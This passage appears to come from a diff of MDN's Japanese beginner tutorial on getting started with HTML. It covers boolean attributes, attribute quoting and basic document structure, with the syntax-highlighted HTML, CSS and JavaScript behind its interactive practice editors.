token">0.7</span>rem<span class="punctuation token">;</span> + <span class="property token">width</span><span class="punctuation token">:</span> <span class="number token">98%</span><span class="punctuation token">;</span> +<span class="punctuation token">}</span> + +<span class="selector token">body </span><span class="punctuation token">{</span> + <span class="property token">margin</span><span class="punctuation token">:</span> <span class="number token">10</span>px<span class="punctuation token">;</span> + <span class="property token">background</span><span class="punctuation token">:</span> <span class="hexcode token">#f5f9fa</span><span class="punctuation token">;</span> +<span class="punctuation token">}</span></code></pre> + +<pre class="brush: js line-numbers language-js"><code class="language-js"><span class="keyword token">var</span> textarea <span class="operator token">=</span> document<span class="punctuation token">.</span><span class="function token">getElementById</span><span class="punctuation token">(</span><span class="string token">'code'</span><span class="punctuation token">)</span><span class="punctuation token">;</span> +<span class="keyword token">var</span> reset <span class="operator token">=</span> document<span class="punctuation token">.</span><span class="function token">getElementById</span><span class="punctuation token">(</span><span class="string token">'reset'</span><span class="punctuation token">)</span><span class="punctuation token">;</span> +<span class="keyword token">var</span> solution <span class="operator token">=</span> document<span class="punctuation token">.</span><span class="function token">getElementById</span><span class="punctuation token">(</span><span class="string token">'solution'</span><span class="punctuation token">)</span><span class="punctuation token">;</span> +<span class="keyword token">var</span> output <span class="operator token">=</span> document<span class="punctuation token">.</span><span class="function token">querySelector</span><span class="punctuation token">(</span><span class="string token">'.output'</span><span class="punctuation token">)</span><span class="punctuation token">;</span> +<span class="keyword token">var</span> code <span class="operator token">=</span> textarea<span class="punctuation token">.</span>value<span class="punctuation token">;</span> +<span class="keyword token">var</span> userEntry <span class="operator token">=</span> textarea<span class="punctuation token">.</span>value<span class="punctuation token">;</span> + +<span class="keyword token">function</span> <span class="function token">updateCode</span><span class="punctuation token">(</span><span class="punctuation token">)</span> <span class="punctuation token">{</span> + output<span class="punctuation token">.</span>innerHTML <span class="operator token">=</span> textarea<span class="punctuation token">.</span>value<span class="punctuation token">;</span> +<span class="punctuation token">}</span> + +reset<span class="punctuation token">.</span><span class="function token">addEventListener</span><span class="punctuation token">(</span><span class="string token">'click'</span><span class="punctuation token">,</span> <span class="keyword token">function</span><span class="punctuation token">(</span><span class="punctuation token">)</span> <span class="punctuation token">{</span> + textarea<span class="punctuation token">.</span>value <span class="operator token">=</span> code<span class="punctuation token">;</span> + userEntry <span class="operator token">=</span> textarea<span class="punctuation token">.</span>value<span class="punctuation token">;</span> + solutionEntry <span class="operator token">=</span> htmlSolution<span class="punctuation token">;</span> + solution<span class="punctuation token">.</span>value <span class="operator token">=</span> <span class="string token">'Show solution'</span><span class="punctuation token">;</span> + <span class="function token">updateCode</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">;</span> +<span class="punctuation token">}</span><span class="punctuation token">)</span><span class="punctuation token">;</span> + +solution<span class="punctuation token">.</span><span class="function token">addEventListener</span><span class="punctuation token">(</span><span class="string token">'click'</span><span class="punctuation token">,</span> <span class="keyword token">function</span><span class="punctuation token">(</span><span class="punctuation token">)</span> <span class="punctuation token">{</span> + <span class="keyword token">if</span><span class="punctuation token">(</span>solution<span class="punctuation token">.</span>value <span class="operator token">===</span> <span class="string token">'Show solution'</span><span class="punctuation token">)</span> <span class="punctuation token">{</span> + textarea<span class="punctuation token">.</span>value <span class="operator token">=</span> solutionEntry<span class="punctuation token">;</span> + solution<span class="punctuation token">.</span>value <span class="operator token">=</span> <span class="string token">'Hide solution'</span><span class="punctuation token">;</span> + <span class="punctuation token">}</span> <span class="keyword token">else</span> <span class="punctuation token">{</span> + textarea<span class="punctuation token">.</span>value <span class="operator token">=</span> userEntry<span class="punctuation token">;</span> + solution<span class="punctuation token">.</span>value <span class="operator token">=</span> <span class="string token">'Show solution'</span><span class="punctuation token">;</span> + <span class="punctuation token">}</span> + <span class="function token">updateCode</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">;</span> +<span class="punctuation token">}</span><span class="punctuation token">)</span><span class="punctuation token">;</span> + +<span class="keyword token">var</span> htmlSolution <span class="operator token">=</span> <span class="string token">'<p>A link to my <a href="https://www.mozilla.org/" title="The Mozilla homepage" target="_blank">favourite website</a>.</p>'</span><span class="punctuation token">;</span> +<span class="keyword token">var</span> solutionEntry <span class="operator token">=</span> htmlSolution<span class="punctuation token">;</span> + +textarea<span class="punctuation token">.</span><span class="function token">addEventListener</span><span class="punctuation token">(</span><span class="string token">'input'</span><span class="punctuation token">,</span> updateCode<span class="punctuation token">)</span><span class="punctuation token">;</span> +window<span class="punctuation token">.</span><span class="function token">addEventListener</span><span class="punctuation token">(</span><span class="string token">'load'</span><span class="punctuation token">,</span> updateCode<span class="punctuation token">)</span><span class="punctuation token">;</span> + +<span class="comment token">// stop tab key tabbing out of textarea and</span> +<span class="comment token">// make it write a tab at the caret position instead</span> + +textarea<span class="punctuation token">.</span>onkeydown <span class="operator token">=</span> <span class="keyword token">function</span><span class="punctuation token">(</span>e<span class="punctuation token">)</span><span class="punctuation token">{</span> + <span class="keyword token">if</span> <span class="punctuation token">(</span>e<span class="punctuation token">.</span>keyCode <span class="operator token">===</span> <span class="number token">9</span><span class="punctuation token">)</span> <span class="punctuation token">{</span> + e<span class="punctuation token">.</span><span class="function token">preventDefault</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">;</span> + <span class="function token">insertAtCaret</span><span class="punctuation token">(</span><span class="string token">'\t'</span><span class="punctuation token">)</span><span class="punctuation token">;</span> + <span class="punctuation token">}</span> + + <span class="keyword token">if</span> <span class="punctuation token">(</span>e<span class="punctuation token">.</span>keyCode <span class="operator token">===</span> <span class="number token">27</span><span class="punctuation token">)</span> <span class="punctuation token">{</span> + textarea<span class="punctuation token">.</span><span class="function token">blur</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">;</span> + <span class="punctuation token">}</span> +<span class="punctuation token">}</span><span class="punctuation token">;</span> + +<span class="keyword token">function</span> <span class="function token">insertAtCaret</span><span class="punctuation token">(</span>text<span class="punctuation token">)</span> <span class="punctuation token">{</span> + <span class="keyword token">var</span> scrollPos <span class="operator token">=</span> textarea<span class="punctuation token">.</span>scrollTop<span class="punctuation token">;</span> + <span class="keyword token">var</span> caretPos <span class="operator token">=</span> textarea<span class="punctuation token">.</span>selectionStart<span class="punctuation token">;</span> + + <span class="keyword token">var</span> front <span class="operator token">=</span> <span class="punctuation token">(</span>textarea<span class="punctuation token">.</span>value<span class="punctuation token">)</span><span class="punctuation token">.</span><span class="function token">substring</span><span class="punctuation token">(</span><span class="number token">0</span><span class="punctuation token">,</span> caretPos<span class="punctuation token">)</span><span class="punctuation token">;</span> + <span class="keyword token">var</span> back <span class="operator token">=</span> <span class="punctuation token">(</span>textarea<span class="punctuation token">.</span>value<span class="punctuation token">)</span><span class="punctuation token">.</span><span class="function token">substring</span><span class="punctuation token">(</span>textarea<span class="punctuation token">.</span>selectionEnd<span class="punctuation token">,</span> textarea<span class="punctuation token">.</span>value<span class="punctuation token">.</span>length<span class="punctuation token">)</span><span class="punctuation token">;</span> + textarea<span class="punctuation token">.</span>value <span class="operator token">=</span> front <span class="operator token">+</span> text <span class="operator token">+</span> back<span class="punctuation token">;</span> + caretPos <span class="operator token">=</span> caretPos <span class="operator token">+</span> text<span class="punctuation token">.</span>length<span class="punctuation token">;</span> + textarea<span class="punctuation token">.</span>selectionStart <span class="operator token">=</span> caretPos<span class="punctuation token">;</span> + textarea<span class="punctuation token">.</span>selectionEnd <span class="operator token">=</span> caretPos<span class="punctuation token">;</span> + textarea<span class="punctuation token">.</span><span class="function token">focus</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">;</span> + textarea<span class="punctuation token">.</span>scrollTop <span class="operator token">=</span> scrollPos<span class="punctuation token">;</span> +<span class="punctuation token">}</span> + +<span class="comment token">// Update the saved userCode every time the user updates the text area code</span> + +textarea<span class="punctuation token">.</span>onkeyup <span class="operator token">=</span> <span class="keyword token">function</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">{</span> + <span class="comment token">// We only want to save the state when the user code is being shown,</span> + <span class="comment token">// not the solution, so that solution is not saved over the user code</span> + <span class="keyword token">if</span><span class="punctuation token">(</span>solution<span class="punctuation token">.</span>value <span class="operator token">===</span> <span class="string token">'Show solution'</span><span class="punctuation token">)</span> <span class="punctuation token">{</span> + userEntry <span class="operator token">=</span> textarea<span class="punctuation token">.</span>value<span class="punctuation token">;</span> + <span class="punctuation token">}</span> <span class="keyword token">else</span> <span class="punctuation token">{</span> + solutionEntry <span class="operator token">=</span> textarea<span class="punctuation token">.</span>value<span class="punctuation token">;</span> + <span class="punctuation token">}</span> + + <span class="function token">updateCode</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">;</span> +<span class="punctuation token">}</span><span class="punctuation token">;</span></code></pre> +</div> + +<p>{{ EmbedLiveSample('Playable_code2', 700, 360, "", "", "hide-codepen-jsfiddle") }}</p> + +<h3 id="Boolean_attributes" name="Boolean_attributes">真偽値属性</h3> + +<p>沢山の HTML ソースを見ていくうちに、属性値のない属性を発見するでしょう。このことは文法的に許されています。こういった属性のことを「真偽値属性」と言います。真偽値属性は一般的に属性名と同じ属性値だけを取ることができます。例えば、<code>input</code> 要素の {{htmlattrxref("disabled", "input")}} 属性は真偽値属性ですが、下記のように記述した場合、 input 要素が "使用不可能に" (disabled, グレーアウト表示) なり、データを入力することができなくなります。</p> + +<pre><input type="text" disabled="disabled"> +</pre> + +<p>真偽値属性は、略記法として次のように書くことが文法的に許されています。比較のために "使用不可能に" (disabled, グレーアウト表示) しなかった場合の <code>input</code> 要素も併記しています。</p> + +<pre class="brush: html"><input type="text" disabled> + +<input type="text"></pre> + +<p>上記の HTML コードの結果は下記のようになります。</p> + +<p>{{ EmbedLiveSample('Boolean_attributes', 700, 50, "", "", "hide-codepen-jsfiddle") }}</p> + +<div class="warning"> +<p>訳者注：下記の様な真偽値属性の属性名と属性値を一致させない記述は HTML の仕様としては誤りです。このような誤りを防ぐために、真偽値属性の真偽値は必ず省略するようにしましょう。</p> + +<pre><input type="text" disabled="foo bar baz"> +</pre> +</div> + +<h3 id="Omitting_quotes_around_attribute_values" name="Omitting_quotes_around_attribute_values">属性値のクォーテーションマークを省略することについて</h3> + +<p>ウェブ (正式にはワールド・ワイド・ウェブ) 上の HTML 文章の中には奇妙なマークアップスタイルで記述されているものもあります。その一つとして、「属性値をクォーテーションマークで囲まない」というのがあります。このスタイルでは正しく動作する場合としない場合があります。先ほどの <code><a></code> タグの例で言うと、このような <code>href</code> 属性だけの基本的な使い方では正しく動作します。</p> + +<pre><a href=<code>https://www.mozilla.org/</code>>favourite website</a></pre> + +<p>しかし、例えば次のように半角スペースの入った <code>title</code> 属性を追加すると動作がおかしくなります。</p> + +<pre class="example-bad brush: html"><a href=<code>https://www.mozilla.org/</code> title=The Mozilla homepage>favourite website</a></pre> + +<p>この場合だと「<code>title</code> 属性は "The" という属性値を持ち、それとは別に <code><a></code>要素が <code>Mozilla</code> と <code>homepage</code> という真偽値属性を持つ」というようにブラウザーは誤解します。このように、「属性値をクォーテーションマークで囲まない」ことによる違いは HTML を見ただけでは分からないので、コードのエラーや予期しない動作の原因となります。このコードをブラウザーに解釈させたものを下に用意しましたので、このリンク上をホバーしてツールチップに表示される文字がどうなっているかを確認してみましょう。</p> + +<p>{{EmbedLiveSample('Omitting_quotes_around_attribute_values', 700, 100, "", "", "hide-codepen-jsfiddle") }}</p> + +<p>安全なコードを書くために、必ず属性値にはクォーテーションマークをつけましょう。そうすれば、先ほどのような問題を避けることができ、コードの可読性も向上します。</p> + +<h3 id="Single_or_double_quotes" name="Single_or_double_quotes">ダブルクォートかシングルクォートか？</h3> + +<p>この記事では属性を囲むクォーテーションマークとしてすべてダブルクォート ( <code>"</code> ) を使用しています。しかし誰かの HTML でシングルクォート ( <code>'</code> ) を見ることがあるかもしれません。これは書き方の問題なので、属性値はダブルクォートで囲んでもシングルクォートで囲んでも構いません。例えば次の 2 つの行は等価です。</p> + +<pre class="brush: html"><a href="http://www.example.com">A link to my example.</a> + +<a href='http://www.example.com'>A link to my example.</a></pre> + +<p>但し、これらを混在させて使うことはできません。次の記述は誤りです。</p> + +<pre class="example-bad brush: html"><a href="http://www.example.com'>A link to my example.</a></pre> + +<p>属性値をダブルクォートで囲んでいる場合は、その内部でシングルクォートを書くこともできますし、シングルクォートの中でダブルクォートを書くこともできます。</p> + +<pre class="brush: html"><a href="http://www.example.com" title="Isn't this fun?">A link to my example.</a></pre> + +<p>ただし、両方の引用符が同じ種類 (一重引用符または二重引用符) の引用符の中に引用符を含める場合は、引用符に <a href="/ja/docs/Learn/HTML/Introduction_to_HTML/Getting_started#Entity_references_Including_special_characters_in_HTML">HTML エンティティを使用する</a>必要があります。たとえば、これは壊れます：</p> + +<pre class="example-bad brush: html line-numbers language-html"><code class="language-html"><a href='http://www.example.com' title='Isn't this fun?'>A link to my example.<span class="tag token"><span class="tag token"><span class="punctuation token"></</span>a</span><span class="punctuation token">></span></span></code></pre> + +<p>だからあなたはこのようにする必要があります：</p> + +<pre class="brush: html line-numbers language-html"><code class="language-html"><span class="tag token"><span class="tag token"><span class="punctuation token"><</span>a</span> <span class="attr-name token">href</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">'</span>http://www.example.com<span class="punctuation token">'</span></span> <span class="attr-name token">title</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">'</span>Isn&#39;t this fun?<span class="punctuation token">'</span></span><span class="punctuation token">></span></span>A link to my example.<span class="tag token"><span class="tag token"><span class="punctuation token"></</span>a</span><span class="punctuation token">></span></span></code></pre> + +<h2 id="Anatomy_of_a_HTML_document" name="Anatomy_of_a_HTML_document">HTML 文書の構成</h2> + +<p>これまで、個々の HTML の要素の基礎を説明しましたが、それら単体ではあまり有用ではありません。ここでは個々の HTML の要素を使って HTML ページを構成する方法を説明していきます。</p> + +<pre class="brush: html"><!DOCTYPE html> +<html> + <head> + <meta charset="utf-8"> + <title>My test page</title> + </head> + <body> + <p>This is my page</p> + </body> +</html></pre> + +<p>上記の HTML 文書を例に、順に解説していきます。</p> + +<ol> + <li> + <p><code><!DOCTYPE html></code>: いわゆる "doctype" というものです。 HTML の黎明期(1991～1992年あたり)には、 "doctype" というものは HTML の文法セットへのリンクとしての役割を持っていました。当時の "doctype" の記述は自動エラーチェックが容易であるなどの長所も持っていました。当時の "doctype" は、次のようなものでした。</p> + + <pre><code><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" +"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"></code></pre> + + <p>しかし、今日においては誰も HTML における "doctype" の本来的な役割なんて考えていません。 "doctype" はつじつま合わせのための歴史的な産物です。今日においてには <code><!DOCTYPE html></code> は正しい "doctype" と認識させるための最も簡潔な記述です。 "doctype" について、これ以上知る必要はありません。</p> + </li> + <li><code><html></html></code>: {{htmlelement("html")}} 要素。 HTML 文書は<code><html></code>要素 1 つだけからなります。この要素はページ全体であり、<code><html></code> タグはページ全体を囲んでいます。<code><html></code> 要素はルート要素とも呼ばれます。</li> + <li><code><head></head></code>: {{htmlelement("head")}} 要素。この要素は、HTML ページに入れておきたいが見せたくないすべてのものを入れておくコンテナーの働きをします。例えば、検索結果に出したいページのキーワードや説明や、ページのスタイルを指定するための CSS や、文字エンコーディングの定義などが含まれます。より詳しくは、このシリーズの次の記事で詳しく説明します。</li> + <li><code><meta charset="utf-8"></code>: この要素はこの文書が UTF-8 という文字コードを使用しているということをブラウザーに伝えるためのものです。UTF-8 は世界中の自然言語の大半をカバーしている文字コードです。重要なこととしてあらゆるテキストコンテンツを扱うことができます。文字コードとして UTF-8 を指定しない手はなく、そうしておけば後で説明する問題を回避できます。</li> + <li><code><title></title></code>: {{htmlelement("title")}} 要素。これはページのタイトルを指定するもので、ページが読み込まれたブラウザーのタブに表示されます。また、このページをブラウザー上でブックマークしたりお気に入りに追加したりすると <code><title></code> 要素の内容がページの説明として使われます。</li> + <li><code><body></body></code>: {{htmlelement("body")}} 要素。この中にユーザーがページを訪問した時に表示したいコンテンツ (例えば、テキスト、画像、ビデオ、ゲーム、オーディオトラック等) を記述します。</li> +</ol> + +<div class="note"> +<p>訳者注: 1. の "doctype" は文書型宣言(DTD)と呼ばれております。 HTML 以外のマークアップ言語(XML, SVG, MathML等)においては今日においても重要な意味を持っています。</p> +</div> + +<h3 id="Active_learning_Adding_some_features_to_an_HTML_document" name="Active_learning_Adding_some_features_to_an_HTML_document">実習: HTML 文書をカスタマイズする</h3> + +<p>もし HTML 文書を書く練習をローカルコンピューターで試したい場合は、次のようにします。</p> + +<ol> + <li>上記の HTML ページのコードサンプルの全体を選択して「コピー」します。</li> + <li>テキストエディタ上で新規ファイルを作成します。</li> + <li>新規テキストファイルの中で「貼り付け」、または「ペースト」します。</li> + <li><code>index.html</code> という名前でファイルを保存します。</li> +</ol> + +<div class="note"> +<p><strong>脚注</strong>: 元となる HTML テンプレートは <a href="https://github.com/mdn/learning-area/blob/master/html/introduction-to-html/getting-started/index.html">MDN ラーニングエリア GitHub リポジトリ </a>にも置いてあります。</p> +</div> + +<p>ウェブブラウザーでこのファイルを開くとレンダリングされた HTML 文書が表示されます。コードを編集した場合は、ブラウザー上でページの更新 (または、再読み込み) を行うと編集結果が反映されます。最初はこんな表示です。</p> + +<p><img alt="A simple HTML page that says This is my page" src="https://mdn.mozillademos.org/files/12279/template-screenshot.png" style="display: block; height: 365px; margin: 0px auto; width: 595px;">この実習では、 上に示したようにあなたのコンピューター内部でコード編集してもいいですが、この節の下の方に編集できるフォーム (Input, Output と付されているものです) を使うこともできます。スマートフォンなどで学習する際はこのフォームが役に立つと思います。この節のフォームの Input の部分は、 {{htmlelement("body")}} 要素の中身を表しています。以下の手順を踏んで、ページをカスタマイズしてみましょう。</p> + +<div class="note"> +<p>訳者注: 下記の演習項目は後で詳しく学習できますので、できなくても構いません。</p> +</div> + +<ul> + <li>{{htmlelement("body")}} 要素の開始タグ以降にページのメインタイトルを書きます。このメインタイトルは <code><h1></code> 開始タグと <code></h1></code> 終了タグで囲みます。ちなみにこれは <code>head</code> 要素の中に記述する <code>title</code> 要素とは異なります。実際にやってみると理解できると思います。フォームで編集する場合はすでに <code>body</code> 要素の中なので、コードの先頭にメインタイトルを記述する形になります。</li> + <li>すでに<code><p></code>要素が記述されていますので、その段落を好きな内容にしてみましょう。また、新しい段落を好きなように追加してみましょう。</li> + <li>段落 (<code><p></code>要素) 内で重要な言葉は <code><strong></code> 開始タグと <code></strong></code> 終了タグで囲んで太字で強調しましょう。 </li> + <li><a href="https://developer.mozilla.org/ja/Learn/HTML/Introduction_to_HTML/Getting_started#Active_learning_Adding_attributes_to_an_element">この記事の前半あたり</a>で説明したリンクを段落のどれかに張ってみましょう。</li> + <li><a href="https://developer.mozilla.org/ja/Learn/HTML/Introduction_to_HTML/Getting_started#Empty_elements">この記事の前半あたり</a>で説明した方法を使って、段落の下に画像を挿入しましょう。説明では Firefox のロゴ画像を使用しましたが、他の画像を持ってくることにチャレンジしてもいいと思います。自分のコンピューターの中のファイルやウェブ上のどこか他の場所にある画像リンクといったものです。</li> +</ul> + +<p>間違えた場合は <em>Reset</em> ボタンを押すことで元に戻すことができます。分からない場合は Show solution ボタンを押して答えを見てみましょう。</p> + +<div class="hidden"> +<h6 id="Playable_code3" name="Playable_code3">Playable code3</h6> + +<pre class="brush: html line-numbers language-html"><code class="language-html"><span class="tag token"><span class="tag token"><span class="punctuation token"><</span>h2</span><span class="punctuation token">></span></span>Live output<span class="tag token"><span class="tag token"><span class="punctuation token"></</span>h2</span><span class="punctuation token">></span></span> + +<span class="tag token"><span class="tag token"><span class="punctuation token"><</span>div</span> <span class="attr-name token">class</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>output<span class="punctuation token">"</span></span><span class="language-css style-attr token"><span class="attr-name token"> <span class="attr-name token">style</span></span><span class="punctuation token">="</span><span class="attr-value token"><span class="property token">min-height</span><span class="punctuation token">:</span> <span class="number token">50</span>px<span class="punctuation token">;</span></span><span class="punctuation token">"</span></span><span class="punctuation token">></span></span> +<span class="tag token"><span class="tag token"><span class="punctuation token"></</span>div</span><span class="punctuation token">></span></span> + +<span class="tag token"><span class="tag token"><span class="punctuation token"><</span>h2</span><span class="punctuation token">></span></span>Editable code<span class="tag token"><span class="tag token"><span class="punctuation token"></</span>h2</span><span class="punctuation token">></span></span> +<span class="tag token"><span class="tag token"><span class="punctuation token"><</span>p</span> <span class="attr-name token">class</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>a11y-label<span class="punctuation token">"</span></span><span class="punctuation token">></span></span>Press Esc to move focus away from the code area (Tab inserts a tab character).<span class="tag token"><span class="tag token"><span class="punctuation token"></</span>p</span><span class="punctuation token">></span></span> + +<span class="tag token"><span class="tag token"><span class="punctuation token"><</span>textarea</span> <span class="attr-name token">id</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>code<span class="punctuation token">"</span></span> <span class="attr-name token">class</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>input<span class="punctuation token">"</span></span><span class="language-css style-attr token"><span class="attr-name token"> <span class="attr-name token">style</span></span><span class="punctuation token">="</span><span class="attr-value token"><span class="property token">min-height</span><span class="punctuation token">:</span> <span class="number token">100</span>px<span class="punctuation token">;</span><span class="property token">width</span><span class="punctuation token">:</span> <span class="number token">95%</span></span><span class="punctuation token">"</span></span><span class="punctuation token">></span></span> + <span class="entity token" title="<">&lt;</span>p<span class="entity token" title=">">&gt;</span>This is my page<span class="entity token" title="<">&lt;</span>/p<span class="entity token" title=">">&gt;</span> +<span class="tag token"><span class="tag token"><span class="punctuation token"></</span>textarea</span><span class="punctuation token">></span></span> + +<span class="tag token"><span class="tag token"><span class="punctuation token"><</span>div</span> <span class="attr-name token">class</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>playable-buttons<span class="punctuation token">"</span></span><span class="punctuation token">></span></span> + <span class="tag token"><span class="tag token"><span class="punctuation token"><</span>input</span> <span class="attr-name token">id</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>reset<span class="punctuation token">"</span></span> <span class="attr-name token">type</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>button<span class="punctuation token">"</span></span> <span class="attr-name token">value</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>Reset<span class="punctuation token">"</span></span><span class="punctuation token">></span></span> + <span class="tag token"><span class="tag token"><span class="punctuation token"><</span>input</span> <span class="attr-name token">id</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>solution<span class="punctuation token">"</span></span> <span class="attr-name token">type</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>button<span class="punctuation token">"</span></span> <span class="attr-name token">value</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>Show solution<span class="punctuation token">"</span></span><span class="punctuation token">></span></span> +<span class="tag token"><span class="tag token"><span class="punctuation token"></</span>div</span><span class="punctuation token">></span></span></code></pre> + +<pre class="brush: css line-numbers language-css"><code class="language-css"><span class="selector token">html </span><span class="punctuation token">{</span> + <span class="property token">font-family</span><span class="punctuation token">:</span> sans-serif<span class="punctuation token">;</span> +<span class="punctuation token">}</span> + +<span class="selector token">h2 </span><span class="punctuation token">{</span> + <span class="property token">font-size</span><span class="punctuation token">:</span> <span class="number token">16</span>px<span class="punctuation token">;</span> +<span class="punctuation token">}</span> + +<span class="selector token"><span class="class token">.a11y-label</span> </span><span class="punctuation token">{</span> + <span class="property token">margin</span><span class="punctuation token">:</span> <span class="number token">0</span><span class="punctuation token">;</span> + <span class="property token">text-align</span><span class="punctuation token">:</span> right<span class="punctuation token">;</span> + <span class="property token">font-size</span><span class="punctuation token">:</span> <span class="number token">0.7</span>rem<span class="punctuation token">;</span> + <span class="property token">width</span><span class="punctuation token">:</span> <span class="number token">98%</span><span class="punctuation token">;</span> +<span class="punctuation token">}</span> + +<span class="selector token">img </span><span class="punctuation token">{</span> + <span class="property token">max-width</span><span class="punctuation token">:</span> <span class="number token">100%</span><span class="punctuation token">;</span> +<span class="punctuation token">}</span> + +<span class="selector token">body </span><span class="punctuation token">{</span> + <span class="property token">margin</span><span class="punctuation token">:</span> <span class="number token">10</span>px<span class="punctuation token">;</span> + <span class="property token">background</span><span class="punctuation token">:</span> <span class="hexcode token">#f5f9fa</span><span class="punctuation token">;</span> +<span class="punctuation token">}</span></code></pre> + +<pre class="brush: js line-numbers language-js"><code class="language-js"><span class="keyword token">var</span> textarea <span class="operator token">=</span> document<span class="punctuation token">.</span><span class="function token">getElementById</span><span class="punctuation token">(</span><span class="string token">'code'</span><span class="punctuation token">)</span><span class="punctuation token">;</span> +<span class="keyword token">var</span> reset <span class="operator token">=</span> document<span class="punctuation token">.</span><span class="function token">getElementById</span><span class="punctuation token">(</span><span class="string token">'reset'</span><span class="punctuation token">)</span><span class="punctuation token">;</span> +<span class="keyword token">var</span> solution <span class="operator token">=</span> document<span class="punctuation token">.</span><span class="function token">getElementById</span><span class="punctuation token">(</span><span class="string token">'solution'</span><span class="punctuation token">)</span><span class="punctuation token">;</span> +<span class="keyword token">var</span> output <span class="operator token">=</span> document<span class="punctuation token">.</span><span class="function token">querySelector</span><span class="punctuation token">(</span><span class="string token">'.output'</span><span class="punctuation token">)</span><span class="punctuation token">;</span> +<span class="keyword token">var</span> code <span class="operator token">=</span> textarea<span class="punctuation token">.</span>value<span class="punctuation token">;</span> +<span class="keyword token">var</span> userEntry <span class="operator token">=</span> textarea<span class="punctuation token">.</span>value<span class="punctuation token">;</span> + +<span class="keyword token">function</span> <span class="function token">updateCode</span><span class="punctuation token">(</span><span class="punctuation token">)</span> <span class="punctuation token">{</span> + output<span class="punctuation token">.</span>innerHTML <span class="operator token">=</span> textarea<span class="punctuation token">.</span>value<span class="punctuation token">;</span> +<span class="punctuation token">}</span> + +reset<span class="punctuation token">.</span><span class="function token">addEventListener</span><span class="punctuation token">(</span><span class="string token">'click'</span><span class="punctuation token">,</span> <span class="keyword token">function</span><span class="punctuation token">(</span><span class="punctuation token">)</span> <span class="punctuation token">{</span> + textarea<span class="punctuation token">.</span>value <span class="operator token">=</span> code<span class="punctuation token">;</span> + userEntry <span class="operator token">=</span> textarea<span class="punctuation token">.</span>value<span class="punctuation token">;</span> + solutionEntry <span class="operator token">=</span> htmlSolution<span class="punctuation token">;</span> + solution<span class="punctuation token">.</span>value <span class="operator token">=</span> <span class="string token">'Show solution'</span><span class="punctuation token">;</span> + <span class="function token">updateCode</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">;</span> +<span class="punctuation token">}</span><span class="punctuation token">)</span><span class="punctuation token">;</span> + +solution<span class="punctuation token">.</span><span class="function token">addEventListener</span><span class="punctuation token">(</span><span class="string token">'click'</span><span class="punctuation token">,</span> <span class="keyword token">function</span><span class="punctuation token">(</span><span class="punctuation token">)</span> <span class="punctuation token">{</span> + <span class="keyword token">if</span><span class="punctuation token">(</span>solution<span class="punctuation token">.</span>value <span class="operator token">===</span> <span class="string token">'Show solution'</span><span class="punctuation token">)</span> <span class="punctuation token">{</span> + textarea<span class="punctuation token">.</span>value <span class="operator token">=</span> solutionEntry<span class="punctuation token">;</span> + solution<span class="punctuation token">.</span>value <span class="operator token">=</span> <span class="string token">'Hide solution'</span><span class="punctuation token">;</span> + <span class="punctuation token">}</span> <span class="keyword token">else</span> <span class="punctuation token">{</span> + textarea<span class="punctuation token">.</span>value <span class="operator token">=</span> userEntry<span class="punctuation token">;</span> + solution<span class="punctuation token">.</span>value <span class="operator token">=</span> <span class="string token">'Show solution'</span><span class="punctuation token">;</span> + <span class="punctuation token">}</span> + <span class="function token">updateCode</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">;</span> +<span class="punctuation token">}</span><span class="punctuation token">)</span><span class="punctuation token">;</span> + +<span class="keyword token">var</span> htmlSolution <span class="operator token">=</span> <span class="string token">'<p>I really enjoy <strong>playing the drums</strong>. One of my favourite drummers is Neal Peart, who\ plays in the band <a href="https://en.wikipedia.org/wiki/Rush_%28band%29" title="Rush Wikipedia article">Rush</a>.\ My favourite Rush album is currently <a href="http://www.deezer.com/album/942295">Moving Pictures</a>.</p>\ <img src="http://www.cygnus-x1.net/links/rush/images/albums/sectors/sector2-movingpictures-cover-s.jpg">'</span><span class="punctuation token">;</span> +<span class="keyword token">var</span> solutionEntry <span class="operator token">=</span> htmlSolution<span class="punctuation token">;</span> + +textarea<span class="punctuation token">.</span><span class="function token">addEventListener</span><span class="punctuation token">(</span><span class="string token">'input'</span><span class="punctuation token">,</span> updateCode<span class="punctuation token">)</span><span class="punctuation token">;</span> +window<span class="punctuation token">.</span><span class="function token">addEventListener</span><span class="punctuation token">(</span><span class="string token">'load'</span><span class="punctuation token">,</span> updateCode<span class="punctuation token">)</span><span class="punctuation token">;</span> + +<span class="comment token">// stop tab key tabbing out of textarea and</span> +<span class="comment token">// make it write a tab at the caret position instead</span> + +textarea<span class="punctuation token">.</span>onkeydown <span class="operator token">=</span> <span class="keyword token">function</span><span class="punctuation token">(</span>e<span class="punctuation token">)</span><span class="punctuation token">{</span> + <span class="keyword token">if</span> <span class="punctuation token">(</span>e<span class="punctuation token">.</span>keyCode <span class="operator token">===</span> <span class="number token">9</span><span class="punctuation token">)</span> <span class="punctuation token">{</span> + e<span class="punctuation token">.</span><span class="function token">preventDefault</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">;</span> + <span class="function token">insertAtCaret</span><span class="punctuation token">(</span><span class="string token">'\t'</span><span class="punctuation 